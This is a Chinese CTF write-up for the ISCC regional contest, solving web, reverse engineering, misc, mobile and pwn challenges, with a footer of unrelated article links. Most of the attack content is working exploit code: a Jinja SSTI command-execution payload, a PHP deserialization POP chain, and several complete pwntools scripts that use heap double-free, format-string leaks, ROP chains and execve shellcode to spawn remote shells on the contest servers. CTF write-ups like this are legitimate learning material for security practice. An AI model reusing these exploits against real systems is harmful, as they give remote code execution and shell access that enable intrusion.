ISCC区域

Web

哪吒的试炼

根据吃藕猜测要传参food

/?food=lotus root

来到下一关

f12看源码 发现disable,把这个属性删掉

 <?php
if (isset($_POST['nezha'])) {
$nezha = json_decode($_POST['nezha']); $seal_incantation = $nezha->incantation;
$md5 = $nezha->md5;
$secret_power = $nezha->power;
$true_incantation = "I_am_the_spirit_of_fire"; $final_incantation = preg_replace(
"/" . preg_quote($true_incantation, '/') . "/", '',
$seal_incantation
); if ($final_incantation === $true_incantation && md5($md5) == md5($secret_power) && $md5 !== $secret_power) {
show_flag();
} else {
echo "<p>封印的力量依旧存在,你还需要再试试!</p>";
}
} else {
echo "<br><h3>夜色渐深,风中传来隐隐的低语……</h3>";
echo "<h3>只有真正的勇者才能找到破局之法。</h3>";
}
?>
import requests
import json url = "http://112.126.73.173:9999/isflag.php" # 替换为实际URL # 构造请求数据
data = {
'nezha': json.dumps({
'incantation': 'I_am_theI_am_the_spirit_of_fire_spirit_of_fire',
'md5': 'QNKCDZO',
'power': '240610708'
})
} # 发送POST请求
response = requests.post(url, data=data) # 输出响应
print(response.text)

字谜题,日为sun,月为moon

ISCC{suetsueergwooniwwoooowsilrow}

回归基本功

访问/Q2rN6h3YkZB9fL5j2WmX.php

 <?php
show_source(__FILE__);
include('E8sP4g7UvT.php');
$a=$_GET['huigui_jibengong.1'];
$b=$_GET['huigui_jibengong.2'];
$c=$_GET['huigui_jibengong.3']; $jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b);
if($jiben==1)
{
if(intval($b) == 'jibengong')
{
if(strpos($b, "0")==0)
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
else
{
$$c = $a;
parse_str($b,$huiguiflag);
if($huiguiflag[$jibengong]==md5($c))
{
echo $flag;
}
else{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
}
}
else
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
}
else
{
echo '基本功不够扎实啊!';
echo '<br>';
echo '还得再练!';
}
?> 基本功不够扎实啊!
还得再练!

满足is_numerichuigui[jibengong.1=0

看b

jibengong为0,intval('+0=...') 结果为 0,不以 0 开头,满足 strpos 检查,huigui[jibengong.2=+0

对应变量 $c

执行 $$c = $a 后,创建变量 $jibengong = 0

md5('jibengong')的结果是 e559dcee72d03a13110efe9b6355b30d,与 $huiguiflag[0] 相等

?huigui[jibengong.1=0&huigui[jibengong.2=+0=e559dcee72d03a13110efe9b6355b30d&huigui[jibengong.3=jibengong

ShallowSeek

0@_cu_5_1r3lw@y5wn5!}

然后来到室友带饭问题

ShallowSeek的好朋友AJAX好想要个头啊,X开头的最好了

加一个最常见的AJAX请求头

X-Requested-With:XMLHttpRequest

还需要一个参数,应该是cookie

ISCC{0p3n0@_cu_5_1r3lw@y5wn5!}

十八铜人阵

f12看到源码

佛曰解密

与佛论禅网-新佛曰翻译器与佛论禅在线翻译工具

然后一个个解密

听声辩位 西南方 东南方 北方 西方 东北方 东方 探本穷源

可以发现原页面是只有5个输入框

但我们抓包后发现

但是发现这样还是不对

我们尝试将最后一个改为get的参数

然后得到一个session

你过关!

kGf5tN1yO8M

这样就能拿到flag了吗?

住持提出了新的要求:去闯下一关吧!闯过下一关就能拿到flag

观察上图的路由是听声辩位反着念的拼音

下一个路由大概是探本穷原

/nauygnoiqnebnat

是SSTI无回显注入

?a1=__globals__&a2=__getitem__&a3=os&a4=popen&a5=cat kGf5tN1yO8M&a6=read

yongzheng={{lipsum|attr(request.args.a1)|attr(request.args.a2)(request.args.a3)|attr(request.args.a4)((request.args.a5))|attr(request.args.a6)()}}

其中kGf5tN1yO8M是上面提示中的文件

ISCC{%qP4L!meaO3T$&_yDRw*}

想犯大吴疆土吗

先去前端页面改掉这个style,可以出现第四件

然后就可以得到一个php源码文件

<?php
if (!isset($_GET['xusheng'])) {
?>
<html>
<head><title>Reward</title></head>
<body style="font-family:sans-serif;text-align:center;margin-top:15%;">
<h2>想直接拿奖励?</h2>
<h1>尔要试试我宝刀是否锋利吗?</h1>
</body>
</html>
<?php
exit;
} error_reporting(0);
ini_set('display_errors', 0);
?> <?php // 犯flag.php疆土者,盛必击而破之! class GuDingDao {
public $desheng; public function __construct() {
$this->desheng = array();
} public function __get($yishi) {
$dingjv = $this->desheng;
$dingjv();
return "下次沙场相见, 徐某定不留情";
}
} class TieSuoLianHuan {
protected $yicheng; public function append($pojun) {
include($pojun);
} public function __invoke() {
$this->append($this->yicheng);
}
} class Jie_Xusheng {
public $sha;
public $jiu; public function __construct($secret = 'reward.php') {
$this->sha = $secret;
} public function __toString() {
return $this->jiu->sha;
} public function __wakeup() {
if (preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->sha)) {
echo "你休想偷看吴国机密";
$this->sha = "reward.php";
}
}
} echo '你什么都没看到?那说明……有东西你没看到<br>'; if (isset($_GET['xusheng'])) {
@unserialize($_GET['xusheng']);
} else {
$a = new Jie_Xusheng;
highlight_file(__FILE__);
} // 铸下这铁链,江东天险牢不可破!

整体思路就是先反序列化的时候会触发Jie_Xusheng的__wakeup;然后sha是个对象,在 $this->sha = "reward.php";在这一步时触发jie_Xusheng的tostring;在tostring中return $this->jiu->sha;,调用了一个未定义的属性,则会触发GuDingDao的get;在get方法中$dingjv = $this->desheng;$dingjv();,以调用函数的方式调用一个对象,就触发了TieSuoLianHuan的invoke;invoke中存在append函数,即为我们最后要文件包含的函数(即flag.php)

O%3A11%3A"Jie_Xusheng"%3A2%3A%7Bs%3A3%3A"sha"%3BO%3A11%3A"Jie_Xusheng"%3A2%3A%7Bs%3A3%3A"sha"%3Bs%3A10%3A"reward%2Ephp"%3Bs%3A3%3A"jiu"%3BO%3A9%3A"GuDingDao"%3A1%3A%7Bs%3A7%3A"desheng"%3BO%3A14%3A"TieSuoLianHuan"%3A1%3A%7Bs%3A10%3A"%00%2A%00yicheng"%3Bs%3A8%3A"flag%2Ephp"%3B%7D%7D%7Ds%3A3%3A"jiu"%3BN%3B%7D

但这里存在脑洞,把GuDingDao的o换成0

O%3A11%3A%22Jie%5FXusheng%22%3A2%3A%7Bs%3A3%3A%22sha%22%3BO%3A11%3A%22Jie%5FXusheng%22%3A2%3A%7Bs%3A3%3A%22sha%22%3Bs%3A10%3A%22reward%2Ephp%22%3Bs%3A3%3A%22jiu%22%3BO%3A9%3A%22GuDingDa0%22%3A1%3A%7Bs%3A7%3A%22desheng%22%3BO%3A14%3A%22TieSuoLianHuan%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00yicheng%22%3Bs%3A8%3A%22flag%2Ephp%22%3B%7D%7D%7Ds%3A3%3A%22jiu%22%3BN%3B%7D

RE

faze

断点调试后进入v9

ISCC{(O[&aGRS7@re}

greeting

from ida_bytes import *  # 导入IDA Pro的字节操作模块
enc=list(get_bytes(0x014001B390,16)) # 从指定地址读取16字节数据并转为列表
def ror8(value,count): # 定义循环右移函数,处理单字节数据
value&=0xFF # 确保输入是8位无符号整数
count%=8 # 确保移位数在0-7范围内
return ((value>>count)|(value<<(8-count)))&0xFF # 执行循环右移操作并返回结果
for i in range(len(enc)): # 遍历读取的每个字节
enc[i]=ror8(enc[i],i%5) # 对当前字节进行循环右移,位移量为索引模5
enc[i]^=(0x5a+i) # 将处理后的字节与递增的常量进行异或操作
print("".join(map(chr,enc))) # 将解密后的字节列表转为字符串并打印

SecretGrid

这里是题目的关键

import os

# 定义输入数据
input_data = [
46, 1, 26, 125, 62, 16, 6, 22, 57, 0,
27, 91, 26, 26, 18, 80, 53, 62, 79, 58,
75, 52, 46, 63, 19, 49, 39, 0, 38, 43, 28
] def encrypt_bytes(data: list) -> list:
"""
根据特定规则对输入字节进行加密 加密规则:
- 偶数索引位置:输入字节 ^ (密钥字节 + 2)
- 能被3整除的索引位置:输入字节 ^ (密钥字节 + 5)
- 其他位置:输入字节 ^ 密钥字节
"""
# 从环境变量获取密钥或使用默认值
secret_key = os.environ.get("SECRET_KEY", "ISCC{s_ale_ru_upatu_prrlaullre_}")
key_bytes = [ord(c) for c in secret_key] # 初始化结果列表
encrypted = [0] * len(data) # 应用加密规则
for i, byte in enumerate(data):
if i % 2 == 0:
encrypted[i] = byte ^ (key_bytes[i] + 2)
elif i % 3 == 0:
encrypted[i] = byte ^ (key_bytes[i] + 5)
else:
encrypted[i] = byte ^ key_bytes[i] return encrypted # 执行加密
encrypted_data = encrypt_bytes(input_data) # 转换为字符串并输出
result = ''.join(chr(byte) for byte in encrypted_data)
print(result)

misc

取证分析

binwalk一下

得到一串密文

binwalk一下hint.zip

去爆破里面zip的密码

bfs775

Alphabet.txt

(2,10) (4,8) (2,4) (3,4) (11,13) (2,11) (1,1) (10,26) (5,6) (5,9)

杨辉三角是一种经典的数学数表,以中国古代数学家杨辉的名字命名。它是一个三角形数组,其中每个数字都是其上方两个数字的和。杨辉三角在组合数学、概率论和二项式定理等领域有广泛应用

hint.txt

rxms{ husqzqdq oubtqd }

但是发现不对,应该是提醒我们用维吉尼亚解密

杨辉三角二元组每个求和映射到字母表是密钥IICCNJAYER

ISCC{obwkvjyzkyzg}

返校之路

首先打开part1.zip

发现

为伪加密,修改后显示如图

由于附件二有密码猜测为掩码攻击,尝试后有

即可打开后发现,图一图二为地铁站,朝阳站和魏公村站,3.jpg有备注提示

根据图片发现为3104(其他可能尝试后发现不正确)后面发现这是flag part2

只有图片2为png格式放入解密软件可见

flag_is_KJCTC5TCKVWFGY2XKU6Q====显示为32,依次进行base32解码,base64解码后得出答案

part1

拼接上述的part2

套上ISCC{}即可。

即为ISCC{DMomIRqe3104}

签个到吧

先去尝试binwalk一下

import matplotlib.pyplot as plt
import cv2
import numpy as np
from PIL import Image src_img = cv2.imread("C:\\Users\\26387\\Desktop\\0001_30.png") def arnold_transform(img_data, iter_count, param_a, param_b):
transformed_img = np.zeros(shape=img_data.shape)
height, width = img_data.shape[0], img_data.shape[1]
matrix_size = height
for iter_idx in range(iter_count):
for x_ori in range(height):
for y_ori in range(width):
x_new = ((param_a * param_b + 1) * x_ori + (-param_b) * y_ori) % matrix_size
y_new = ((-param_a) * x_ori + y_ori) % matrix_size
transformed_img[x_new, y_new, :] = img_data[x_ori, y_ori, :]
cv2.imwrite('C:\\Users\\26387\\Desktop\\flag_transformed.png', transformed_img, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
return transformed_img arnold_transform(src_img, 1, 1, -2)

然后再进行灰度反转,并两个图合并

签到成功bqoJIQxpugxZ

[]{#br1 .anchor}

big-doro+钟志颖+2638726415@qq.com

睡美人

首先打开附件图片

明显为base64解码,输入解码得到

base64:UGFzc3dvcmQgPSBzdW0oUilfc3VtKEcpX3N1bShCKQ==

解码 :Password = sum(R)_sum(G) _sum(B)

有了密码考虑是否有附件,用binwalk提取附件得到了一个加密的zip文件

密码考虑上述所说,先考虑图片中每个颜色的数量总和

使用脚本如下

from PIL import Image
# 打开图片并转换为 RGB 模式(避免透明度干扰)
img = Image.open("Sleeping_Beauty_30.png").convert("RGB")
pixels = list(img.getdata()) # 获取所有像素的 RGB 值
sum_r = sum_g = sum_b = 0
for r, g, b in pixels:
sum_r += r
sum_g += g
sum_b += b
# 生成密码格式:sum(R)_sum(G)_sum(B)
password = f"{sum\_r}_{sum_g}_{sum_b}"
print("计算出的 ZIP 密码:", password)

尝试登录,显示错误。

观察题面

红红红红红红绿绿绿蓝

6:3:1

考虑加权

print(sum_r*0.6+sum_g*0.3+0.1*sum_b)

得出答案1375729349.6

解密后发现一段音频。用audacity打开发现

上网搜索发现为曼彻斯特编码。

即此段代码为

010100110110100001110010011011110111010101100100

解码后为Shroud

套上ISCC{}即可

ISCC{Shroud}

Mobile

Detective

放到jadx里

然后使用脚本

def _hex_from_cipher(cipher: str) -> str:
hex_str = ''.join(f'{ord(ch):04x}' for ch in cipher)
return hex_str[2:] if hex_str.startswith('00') else hex_str def _undo_padding(hex_str: str) -> str:
if len(hex_str) % 4 == 2:
hex_str += '00'
return ''.join(hex_str[i:i+2] for i in range(0, len(hex_str), 4)) def _undo_pair_shuffle(replaced: str) -> str:
out, i = [], 0
while i < len(replaced):
if i + 3 < len(replaced) and replaced[i+2:i+4] == '21':
c2, c1 = replaced[i], replaced[i+1]
out.extend([c1, c2])
i += 4
else:
out.extend(replaced[i:i+2])
i += 2
return ''.join(out) def _split_and_fix_zero(concat: str) -> str:
half = len(concat) // 2
sb2, sb = concat[:half], concat[half:]
sb = ''.join('0' if ch == '3' and (idx == 0 or idx % 3 == 0) else ch for idx, ch in enumerate(sb))
sb2 = ''.join('0' if ch == '3' and (idx == 1 or (idx-1) % 3 == 0) else ch for idx, ch in enumerate(sb2))
res = []
even = odd = 0
for idx in range(len(concat)):
if idx % 2 == 0:
res.append(sb[even])
even += 1
else:
res.append(sb2[odd])
odd += 1
return ''.join(res) def _hex_to_plain(hex_str: str) -> str:
out, i = [], 0
while i < len(hex_str):
if hex_str[i] == '0' and i + 2 < len(hex_str):
out.append(chr(int(hex_str[i+1:i+3], 16)))
i += 3
else:
out.append(chr(int(hex_str[i:i+4], 16)))
i += 4
return ''.join(out) def decrypt(cipher: str) -> str:
step1 = _hex_from_cipher(cipher)
step2 = _undo_padding(step1)
step3 = _undo_pair_shuffle(step2)
step4 = _split_and_fix_zero(step3)
return _hex_to_plain(step4) if __name__ == "__main__":
xor_key = [0x53, 0x68, 0x65, 0x72, 0x6C, 0x6F, 0x63, 0x6B]
res = "005044402F2F4250600B524E5F59"
res_chr = [int(res[i:i+2], 16) for i in range(0, len(res), 2)]
flag = [res_chr[i] ^ xor_key[i % len(xor_key)] for i in range(len(res_chr))]
sample = bytes(flag).decode()
print("Cipher :", sample)
print("Plain :", decrypt(sample))

ISCC{Sh3rL0Ck}

PWN

program

from pwn import *

# 设置libc路径和远程连接信息
libc = ELF("C:\\Users\\26387\\Desktop\\ISCC区域\\pwn2\\attachment-23.so")
io = remote('101.200.155.151', 12300) # 封装菜单操作函数
def add(index, size):
io.sendlineafter(b'choice:\n', b'1')
io.sendlineafter(b'index:\n', str(index).encode())
io.sendlineafter(b'size:\n', str(size).encode()) def delete(index):
io.sendlineafter(b'choice:\n', b'2')
io.sendlineafter(b'index:\n', str(index).encode()) def edit(index, length, content):
io.sendlineafter(b'choice:\n', b'3')
io.sendlineafter(b'index', str(index).encode())
io.sendlineafter(b'length:\n', str(length).encode())
io.sendafter(b'content:\n', content) def show(index):
io.sendlineafter(b'choice:\n', b'4')
io.sendlineafter(b'index:\n', str(index).encode()) # 第一阶段:泄露libc基址
for i in range(9):
add(i, 0x200) # 分配9个大chunk for i in range(7):
delete(i) # 释放前7个chunk进入unsorted bin
delete(7) # 释放第8个chunk
show(7) # 触发show获取libc泄露
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x1ecbe0 # 计算libc基址
libc.address = libc_base # 设置libc基址
log.success(f"Libc base address: {hex(libc_base)}") # 第二阶段:准备堆布局
for i in range(8):
add(i, 0x200) # 重新分配8个大chunk for i in range(9):
add(i, 0x40) # 分配9个小chunk for i in range(2, 9):
delete(i) # 释放索引2-8的小chunk
delete(0) # 释放索引0的小chunk
delete(1) # 释放索引1的小chunk
delete(0) # 再次释放索引0的小chunk,形成double free # 第三阶段:利用double free
for i in range(2, 9):
add(i, 0x40) # 重新分配索引2-8的小chunk
add(2, 0x40) # 分配新的chunk
edit(2, 0x16, p64(libc.sym['__free_hook'])) # 写入free_hook地址
add(0, 0x40) # 分配chunk
add(0, 0x40) # 分配chunk
add(0, 0x40) # 分配chunk
edit(0, 0x20, p64(libc.sym['system'])) # 写入system函数地址 # 触发system("/bin/sh")
pause() # 方便调试
edit(3, 0x20, b'/bin/sh\x00') # 写入/bin/sh字符串
delete(3) # 触发free,执行system("/bin/sh")
io.interactive() # 获取shell交互

Fufu

利用格式化字符串漏洞泄露pie、canary,即第17个和第25个参数,同时puts函数的真实地址,计算libc基址

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import * # 设置日志级别为调试模式,这样可以看到详细的交互信息
context.log_level = 'debug' # 连接到远程服务器
conn = remote('101.200.155.151', 12600) # 第一阶段:泄露栈金丝雀值
conn.recvuntil(b'Furina: Your choice? >> ')
conn.sendline(b'1') # 选择选项1 conn.recvuntil(b'Furina: Time is limited! >> ')
conn.sendline(b'2147483648') # 发送一个较大的数值 conn.recvuntil(b'Furina: Present your evidence! >> ')
conn.sendline(b"%17$p") # 利用格式化字符串漏洞泄露第17个参数(栈金丝雀) # 接收并解析栈金丝雀值
canary_hex_str = conn.recv(18).strip()
stack_canary = int(canary_hex_str, 16)
print(f"栈金丝雀值: {hex(stack_canary)}") conn.recvuntil(b'hcy want to eat chicken! >> ')
conn.sendline(b'1') # 继续选择选项1 # 第二阶段:泄露程序基址(PIE)
conn.recvuntil(b'Furina: Your choice? >> ')
conn.sendline(b'1') # 再次选择选项1 conn.recvuntil(b'Furina: Time is limited! >> ')
conn.sendline(b'2147483648') # 发送相同的较大数值 conn.recvuntil(b'Furina: Present your evidence! >> ')
conn.sendline(b"%25$p") # 利用格式化字符串漏洞泄露第25个参数(main函数地址) # 接收并解析main函数地址,计算程序基址
main_addr_hex_str = conn.recv(14).strip()
main_addr = int(main_addr_hex_str, 16)
pie_base = main_addr - 0x1338 # 根据偏移量计算程序基址
print(f"程序基址(PIE): {hex(pie_base)}") conn.recvuntil(b'hcy want to eat chicken! >> ')
conn.sendline(b'1') # 继续选择选项1 # 计算各种GOT和PLT表地址以及ROP gadgets地址
ret_gadget = 0x000000000000101a + pie_base # 用于栈对齐的ret指令地址
pop_rdi_gadget = 0x000000000000132f + pie_base # 用于设置puts函数参数的pop rdi; ret指令地址
puts_got_entry = 0x3fa0 + pie_base # puts函数的GOT表条目地址
puts_plt_entry = 0x1030 + pie_base # puts函数的PLT表条目地址 # 第三阶段:泄露libc基址
conn.recvuntil(b'Furina: Your choice? >> ')
conn.sendline(b'2') # 选择选项2 conn.recvuntil(b'Furina: The trial is adjourned') # 构造ROP链,调用puts函数打印puts的GOT表条目,然后返回main函数
rop_chain = cyclic(0x48) # 填充缓冲区
rop_chain += p64(stack_canary) # 恢复栈金丝雀值
rop_chain += p64(0x0) # 填充rbp
rop_chain += p64(pop_rdi_gadget) # 设置puts函数的参数(puts的GOT表条目地址)
rop_chain += p64(puts_got_entry) # puts函数的参数
rop_chain += p64(puts_plt_entry) # 调用puts函数
rop_chain += p64(main_addr) # 返回到main函数,以便进行第二次利用 conn.sendline(rop_chain) # 发送ROP链 # 接收并解析puts函数的真实地址,计算libc基址
conn.recv(1) # 接收第一个字节
puts_real_addr_bytes = conn.recv(6) # 接收puts函数地址的6个字节
puts_real_addr = int.from_bytes(puts_real_addr_bytes.ljust(8, b'\x00'), 'little') # 转换为整数
libc_base = puts_real_addr - 0x080e50 # 根据puts函数的偏移量计算libc基址
print(f"libc基址: {hex(libc_base)}") # 计算system函数和/bin/sh字符串的地址
bin_sh_addr = 0x1d8678 + libc_base # /bin/sh字符串在libc中的地址
system_addr = 0x050d70 + libc_base # system函数在libc中的地址 # 第四阶段:获取shell
conn.recvuntil(b'Furina: Your choice? >> ')
conn.sendline(b'2') # 再次选择选项2 conn.recvuntil(b'Furina: The trial is adjourned') # 构造最终的ROP链,调用system("/bin/sh")
rop_chain = cyclic(0x48) # 填充缓冲区
rop_chain += p64(stack_canary) # 恢复栈金丝雀值
rop_chain += p64(ret_gadget) * 2 # 栈对齐,避免因栈对齐问题导致的崩溃
rop_chain += p64(pop_rdi_gadget) # 设置system函数的参数(/bin/sh字符串地址)
rop_chain += p64(bin_sh_addr) # system函数的参数
rop_chain += p64(system_addr) # 调用system函数 conn.sendline(rop_chain) # 发送ROP链 # 进入交互模式,获取shell
conn.interactive()

ISCC{832ad2b3-051e-4407-b86f-9f478e02d806}

mutsumi

这是一题vm

程序使用__isoc99_scanf读入时并没有长度限制,所以存在溢出

from pwn import *

# 设置上下文环境,启用调试日志并指定架构为amd64
context(log_level='debug', arch='amd64')
# 连接到远程服务器
p = remote("101.200.155.151", 12800) # 定义角色字典,将索引映射到对应的角色名称字节串
roles = {0: b'tomorin', 1: b'rikki', 2: b'anon', 3: b'soyorin'} def insert_data(character, content=b'saki', pointer=b'to'):
"""
向目标程序插入数据的函数 参数:
character: 角色名称字节串
content: 要发送的内容数据,默认为b'saki'
pointer: 指针值,默认为b'to'
"""
# 发送数据行,格式为"内容,ido"
p.sendline(content + b',ido')
# 发送指针值
p.sendline(pointer)
# 如果指针值为b'to',还需要发送角色名称
if pointer == b'to':
p.sendline(character) def bytes_to_int(value_bytes):
"""将字节串按小端序转换为整数并转为字符串"""
return str(int.from_bytes(value_bytes, byteorder='little')) # 定义要发送的shellcode片段列表
shellcode_parts = [
b"\x34\x3b\x90\x90", # 第1部分shellcode
b"\x66\xbb\x73\x68", # 第2部分shellcode
b"\x48\xc1\xe3\x10", # 第3部分shellcode
b"\x66\xbb\x6e\x2f", # 第4部分shellcode
b"\x48\xc1\xe3\x10", # 第5部分shellcode
b"\x66\xbb\x62\x69", # 第6部分shellcode
b"\x48\xc1\xe3\x08", # 第7部分shellcode
b"\x66\xbb\x2f\x62", # 第8部分shellcode
b"\x53\x90\x90\x90", # 第9部分shellcode
b"\x89\xe7\x90\x90", # 第10部分shellcode
b"\x0f\x05\x90\x90", # 第11部分shellcode
] # 逐个发送shellcode片段
for part in shellcode_parts:
# 先发送初始化数据
insert_data(roles[0], pointer=b"1")
# 再发送shellcode片段的数值表示
insert_data(roles[0], pointer=bytes_to_int(part)) # 发送终止命令
p.sendline(b'saki,stop')
# 进入交互模式,允许用户与远程程序进行交互
p.interactive()

ISCC{868ae0fd-ff5c-48bb-bf8d-65942b22c8ee}

genius

一题rop题

  1. 利用缓冲区溢出漏洞泄露栈 canary 值
  2. 构造 ROP 链,包含恢复的 canary、栈对齐指令和执行 system ("/bin/sh") 所需的指令序列
  3. 触发溢出,执行 ROP 链,最终获取 shell
# 导入pwntools库,用于二进制漏洞利用开发
from pwn import * # 设置日志级别为debug,以便显示详细的交互信息
context.log_level = 'debug' # 连接到远程服务器,地址为101.200.155.151,端口为12000
p = remote("101.200.155.151", 12000) # 接收直到遇到"you are a genius,yes or no?"提示
p.recvuntil(b"you are a genius,yes or no?")
# 发送"no"作为响应
p.sendline(b"no") # 接收直到遇到"Sir, don't be so modest."提示
p.recvuntil(b"Sir, don't be so modest.")
# 发送"thanks"作为响应
p.sendline(b"thanks") # 接收直到遇到"what you want in init"提示
p.recvuntil(b"what you want in init")
# 发送24字节的cyclic pattern用于溢出缓冲区
p.sendline(cyclic(0x18)) # 接收直到换行符,丢弃之前的输出
p.recvuntil(b"\x0a")
# 从响应中提取7字节的canary值(缺少最后一个字节)
canary = u64(p.recv(7).ljust(8, b'\x00'))
# 恢复canary的最后一个字节(通常为0x00)
canary = (canary << 8) | 0x00
# 打印泄露的canary值
log.info("leak: " + hex(canary)) # 定义ROP链所需的地址
# ret指令地址,用于栈对齐
ret = 0x000000000040101a
# pop rdi; ret 指令地址,用于设置system函数的第一个参数
pop_rdi = 0x00000000004013f3
# 字符串"/bin/sh"的地址
bin_sh = 0x402004
# system函数的地址
system = 0x401050 # 构造ROP链
# 前24字节覆盖缓冲区
# 接下来8字节放置泄露的canary值
# 再接下来8字节填充0(覆盖saved rbp)
# ret地址用于栈对齐(解决某些系统的栈对齐要求)
# pop_rdi地址用于将"/bin/sh"地址放入rdi寄存器
# "/bin/sh"字符串地址作为system函数的参数
# system函数地址,执行system("/bin/sh")
rop = cyclic(0x18) + p64(canary) + p64(0x0) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system) # 发送构造好的ROP链
p.sendline(rop)
# 进入交互模式,获取shell
p.interactive()

ISCC区域赛wp的更多相关文章

  1. HDU5558 Alice's Classified Message(合肥区域赛 后缀数组)

    当初合肥区域赛的题(现场赛改了数据范围就暴力过了),可惜当初后缀数组算法的名字都没听过,现在重做下. i从1到n - 1,每次枚举rank[i]附近的排名,并记录当起点小于i时的LCP(rank[i] ...

  2. 36th成都区域赛网络赛 hdoj4039 The Social Network(建图+字符串处理)

    这题是某年成都区域赛网络赛的一题. 这题思路非常easy,可是从时间上考虑,不妨不要用矩阵存储,我用的链式前向星. 採用线上查询.利用map对字符串编号,由于非常方便.要推荐的朋友,事实上就是朋友的朋 ...

  3. 【2013南京区域赛】部分题解 hdu4802—4812

    上周末打了一场训练赛,题目是13年南京区域赛的 这场题目有好几个本来应该是我擅长的,但是可能是太久没做比赛了各种小错误代码写的也丑各种warusn trush搞得人很不爽 全场题之一的1002也没有想 ...

  4. hdu5080:几何+polya计数(鞍山区域赛K题)

    /* 鞍山区域赛的K题..当时比赛都没来得及看(反正看了也不会) 学了polya定理之后就赶紧跑来补这个题.. 由于几何比较烂写了又丑又长的代码,还debug了很久.. 比较感动的是竟然1Y了.. * ...

  5. 2014年亚洲区域赛北京赛区现场赛A,D,H,I,K题解(hdu5112,5115,5119,5220,5122)

    转载请注明出处: http://www.cnblogs.com/fraud/          ——by fraud 下午在HDU上打了一下今年北京区域赛的重现,过了5题,看来单挑只能拿拿铜牌,呜呜. ...

  6. 【转】2014区域赛小结(牡丹江&&鞍山)by kuangbin

    Posted on 2014年10月20日 by kuangbin 最后的两场区域赛结束了! ICPC生涯的最后两场区域赛,选择了前两个赛区——牡丹江和鞍山,主要是时间比较靠前,而且我向来对东北赛区有 ...

  7. 2014ACM/ICPC亚洲区域赛牡丹江站汇总

    球队内线我也总水平,这所学校得到了前所未有的8地方,因为只有两个少年队.因此,我们13并且可以被分配到的地方,因为13和非常大的数目.据领队谁oj在之上a谁去让更多的冠军.我和tyh,sxk,doub ...

  8. 2015 ACM / ICPC 亚洲区域赛总结(长春站&北京站)

    队名:Unlimited Code Works(无尽编码)  队员:Wu.Wang.Zhou 先说一下队伍:Wu是大三学长:Wang高中noip省一:我最渣,去年来大学开始学的a+b,参加今年区域赛之 ...

  9. 2015年ACM长春区域赛比赛感悟

    距离长春区域赛结束已经4天了,是时候整理一下这次比赛的点点滴滴了. 也是在比赛前一周才得到通知要我参加长春区域赛,当时也是既兴奋又感到有很大的压力,毕竟我的第一场比赛就是区域赛水平,还是很有挑战性的. ...

  10. 2018.11.25 AMC-ICPC 亚洲区域赛(焦作站)吊银

    11月23日 大清早,跟着wyb的脚步,早起跑过去听方伟的编译原理,然鹅一点都没听进去,在焦作胡辣汤群里疯狂灌水... 听说焦作那边冷得不行,前一天看天气预报说那边已经是2℃了,都快零下了,然鹅学校里 ...

随机推荐

  1. kalibr标定单相机,自用指南,防忘记

    1. 标定环境 1.1 从源码编译(linux环境,建议ubuntu 18或20) 步骤见 kalibr wiki 1.2 Docker 如果实体机为Ubuntu,则见official docker ...

  2. Task VS ValueTask

    在 C# 中,异步编程是构建响应式应用程序的基础.Task 是表示异步操作的首选类型.但是,在某些高性能场景中,与 Task 相关的开销可能会达到一个瓶颈.ValueTask 是 .NET Core ...

  3. day1-简介与下载

    为什么创造了golang? 计算机硬件技术更新频繁,不能合理运用多核多CPU的的优势 目前市场缺乏一款简洁高效的编程语言 c++.c运行速度很快,但存在内存泄漏的问题 go语言特点 既做到了静态语言的 ...

  4. 【2022_12_2】Fibersim安装记录

    Fibersim 安装记录 1. 为什么要写这个文章? 因为我前前后后装了四天才装成功.在我的电脑上,fibersim14 16 17 15 挂到UG10 12 CatiaV5-6R2019 2018 ...

  5. mysql CONFLICT 冲突

    1.IGNORE 当使用INSERT语句向表中添加一些行数据并且在处理期间发生错误时,INSERT语句将被中止,并返回错误消息.因此,可能不会向表中没有插入任何行.但是,如果使用INSERT INGO ...

  6. 执行Django 的迁移命令报错[1193, Unknown system variable default_storage_engine]

    在学习""编写你的第一个 Django 应用程序,第2部分"时候,遇到一个问题. 执行迁移命令 python manage.py makemigrations polls ...

  7. 通过局域网访问连接 vite 或 Django 之类的项目

    博客地址:https://www.cnblogs.com/zylyehuo/ step1 将 vite 或 Django 类的项目启动 ip 设置为 0.0.0.0:端口 step2 查询本机电脑在当 ...

  8. Netty源码—6.ByteBuf原理一

    大纲 1.关于ByteBuf的问题整理 2.ByteBuf结构以及重要API 3.ByteBuf的分类 4.ByteBuf分类的补充说明 5.ByteBuf的主要内容分三大方面 6.内存分配器Byte ...

  9. [源码系列:手写spring] IOC第五节:Bean注入Bean

    主要内容 添加BeanReference类,包装一个bean对另一个bean的引用.如beanA引用beanB,那么在实例化beanA时,如果propertyValue.value是BeanRefer ...

  10. verilog实现32位有符号流水乘法器

    verilog实现32位有符号流水乘法器 1.4bit乘法流程 1.无符号X无符号二进制乘法器 以下为4bit乘法器流程(2X6) 0 0 0 0 0 0 1 0 (2) X 0 0 0 0 0 1 ...